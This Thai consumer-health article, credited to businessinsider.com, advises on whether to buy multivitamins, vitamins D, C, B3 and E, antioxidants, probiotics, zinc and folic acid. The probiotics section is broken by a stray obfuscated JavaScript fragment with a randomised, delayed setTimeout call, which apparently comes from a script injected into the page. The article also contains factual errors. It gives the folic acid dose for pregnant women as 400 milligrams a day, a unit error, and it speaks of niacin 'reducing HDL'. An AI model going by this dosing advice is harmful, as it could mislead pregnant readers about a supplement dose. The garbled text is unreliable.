สารอาหารและวิตามินที่มีผลกระทบกับตัวร่างกายมนุษย์หลักๆ มาจาก อาหารมื้อหลักที่กินอยู่ทุกวัน ส่วนอาหารเสริมและวิตามิน ควรจะซื้อมารับประทานหรือไม่ เรามีคำเเนะนำมาฝากกันครับ
มาดูกันว่า อาหารเสริมและวิตามิน เราควรรับตัวไหนบ้าง…
1. Multivitamins อาหารเสิมหรือวิตามินรวม ข้ามไปได้เลย เพราะการรับสารอาหารวิตามินรวมต่างๆ จะมาจากอาหารมื้อหลัก และอาหารหลักที่ดีคววรเป็นแบบ Balance diet ด้วย
รู้หรือไม่ว่า…การรับวิตามินรวมที่มากเกินไปมีผลเสียต่อร่างกาย มีการศึกษาในปี 2012 พบว่าในกลุ่มตัวอย่างผู้หญิง 39,000 คน อายุ 25 ปีขึ้นไป ที่รับวิตามินรวมระยะยาว มีโอกาสเสี่ยงที่จะเสียชีวิตมากกว่าคนที่ไม่รับ
2. วิตามิน D ซื้อมากินได้ เพราะช่วยให้กระดูกแข็งแรง ร่างกายสกัดจากอาหารได้ยาก แต่ถ้าไม่อยากซื้อก็ออกตากแดดยามเช้าบ้าง ร่างกายจะได้มีเวลาสังเคราะห์วิตามิน D
น่าเสียดายที่สารวิตามินไม่ค่อยพบในอาหารมากเท่าไหรนัก และวิตามิน D ก็มีหน้าที่สำคัญในการดูดซึมแคลเซียม ทำให้กระดูกเราแข็งแรง และตามการวิจัยพบว่า คนที่รับวิตามิน D จะอายุยืน
3. Antioxidant สารต่อต้านอนุมูลอิสระ หากรับมามากเกินไปก็มีความเสี่ยงต่อการเกิดมะเร็งได้เหมือนกัน เลี่ยงพวกอาหารเม็ดวิตามินแล้วไปกินพวกผลไม้ดีกว่า
วิตามิน A,C และ E คือสารต่อต้านอนุมูลอิสระที่สามารถพบได้ในผักผลไม้อยู่แล้ว โดยเฉพาะผลไม้ตระกูล Berry และการศึกษาระยะยาวกับกลุ่มตัวอย่างผู้ชายสูบบุหรี่ และรับวิตามิน A เป็นประจำ จะมีโอกาสเสี่ยงเป็นมะเร็งปอดมากกว่าคนสูบบุหรี่ที่ไม่รับซะอีก
4. วิตามิน C กินไปก็ไม่แก้ไข้หวัดได้หรอก ไปกินส้มมะนาวยังดีกว่า เพราะการศึกษาไม่พบว่าวิตามิน C จะช่วยป้องกันโรคไข้หวัดได้ แถมการรับในริมาณมากๆ 2000 มิลลิกรัมหรือมากกว่า จะทำให้เกิดนิ่วที่ไตได้ ถ้าอยากได้วิตามิน C จริงๆ ก็ไปซื้อผลพวกตระกูล Berry อย่าง สตอเบอรี่ส้มและมะนาวที่ตลาดดีกว่า
5. วิตามิน B3 ไม่ต้องซื้อกิน ถ้าอยากได้ ต้องกิน ทูนา แซลมอนและผลบีรูต ทั้งนี้ในการศึกษาพบว่า วิตามิน B3 ไม่ได้มีผลช่วยรักษา Alzheimer และโรคหัวใจใดๆ
ผลงาวิจัยปี 2014 กับกลุ่มตัวอย่าง 25,000 คน ที่เป็นโรคหัวใจ และรับวิตามิน B3 ในระยะยาว เพื่อช่วยยกระดับสุขภาพผู้ป่วยให้ดีขึ้น อย่างการลดค่า HDL และ cholesterol พบว่าก็ไม่ได้ช่วยลดโอกาสเกิดหัวใจกำเริบ ความดันสูงและการตายเพียงอย่างใด
ผลเสียของการการรับวิตามิน B3 มากเกินไป จะมีโอกาสเสี่ยงที่จะทำให้เกิดภาะติดเชื้อ ตับอักเสบและเลือดออกภายใน
6. Probiotic สารอาหารพวกโปรไบโอติก วิทยาการวิทยาศาสตร์ในปัจจุบันก็ยังไม่สามารถบ่งบอกผลประโยชน์ที่ชัดเจนจากการรับโปรไบโอติกได้เลย คำแนะนำคือให้ซื้อโยเกริ์ตกินแทน
โปรไบโอติกตามธรรมชาติสามารถพบได้ในโยเกริ์ตและอาหารที่มีกระบวนการหมัก มีราคาถูกกว่าเม็ดยาอาหารโปรไบโอติกด้วย ถึงแม้จะมีปริมาณน้อยกว่า
andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-happy-2014-6″>ความเชื่อที่ว่าการมีแบคทีเรียที่ดีในลำไส้ จะช่วยดูแลรักษาสุขภาพเรานั้นบางครั้งก็ไม่เสมอไป อาจจะช่วยได้บาง ไม่ช่วยเลยหรือเป็นผลเสียถ้ามีมากไปก็ได้ ยาเม็ดโปรไบโอติกไม่ได้แก้รักษาโรคได้ทุกอย่าง
7. Zinc แนะนำให้ซื้อกินครับ เป็นส่วนช่วยให้หายจากอาการไข้หวัดได้เร็วขึ้น มีการศึกษาพบว่าเป็นหนึ่งในส่วนผสมที่สำคัญในการต่อสู้กับไข้หวัด (interfere with the replication of rhinoviruses)
ในงานวิจัยปี 2011 ได้จัดกลุ่มเปรียบเทียบผู้ป่วยไข้หวัดที่รับ Zinc และไม่รับ Zinc พบว่า กล่มคนที่รับ Zinc จะหายเร็วกว่า อาการไข้ไม่รุนแรงด้วย
8. วิตามิน E ไม่ควรซื้อมารับประทาน เพราะการรับวิตามิน E มากเกินไปอาจเป็นสาเหตุทำให้เกิดมะเร็งได้ วิตามิน E ค่อนข้างดังเพราะว่าช่วยลดการเกิดมะเร็ง แต่งานวิจัย 2011 กับกลุ่มผู้ชาย 36,000 คนพบว่า การรับวิตามิน E มากๆ จะมีโอกาสเป็นมะเร็งมากกว่าซะอีก และในงานวิจัยปี 2005 พบว่าการรับวิตามิน E ในปริมาณมาก เสี่ยงถึงตายได้ ถ้าอยากได้วิตามิน E ก็ควรกินพวกผักเขียว สลัดจะดีกว่า
9. Folic acid คนท้องหรืออยากมีลูกก็ควรหาติดไว้ เจ้า Folic acid คือสารวิตามิน B ที่ร่างกายใช้ในการสร้างเซลล์ และจากงานวิจัยของ National Institutes of Health แนะนำผู้หญิงที่ตั้งครรภ์ ควรรับ Folic acid 400 มิลลิกรัมต่อวัน เพื่อการเจริญเติบโตของตัวอ่อนที่ดี
นอกจากนี้บางงานวิจัยพบว่าการรับ Folic acid ก่อนและระหว่างตั้งครรภ์ ช่วยลดความเสี่ยงในการแท้ง อาการผิดปรกติของเด็กอย่าง อาการพิการสมองและไขสันหลัง
ที่มา www.businessinsider.com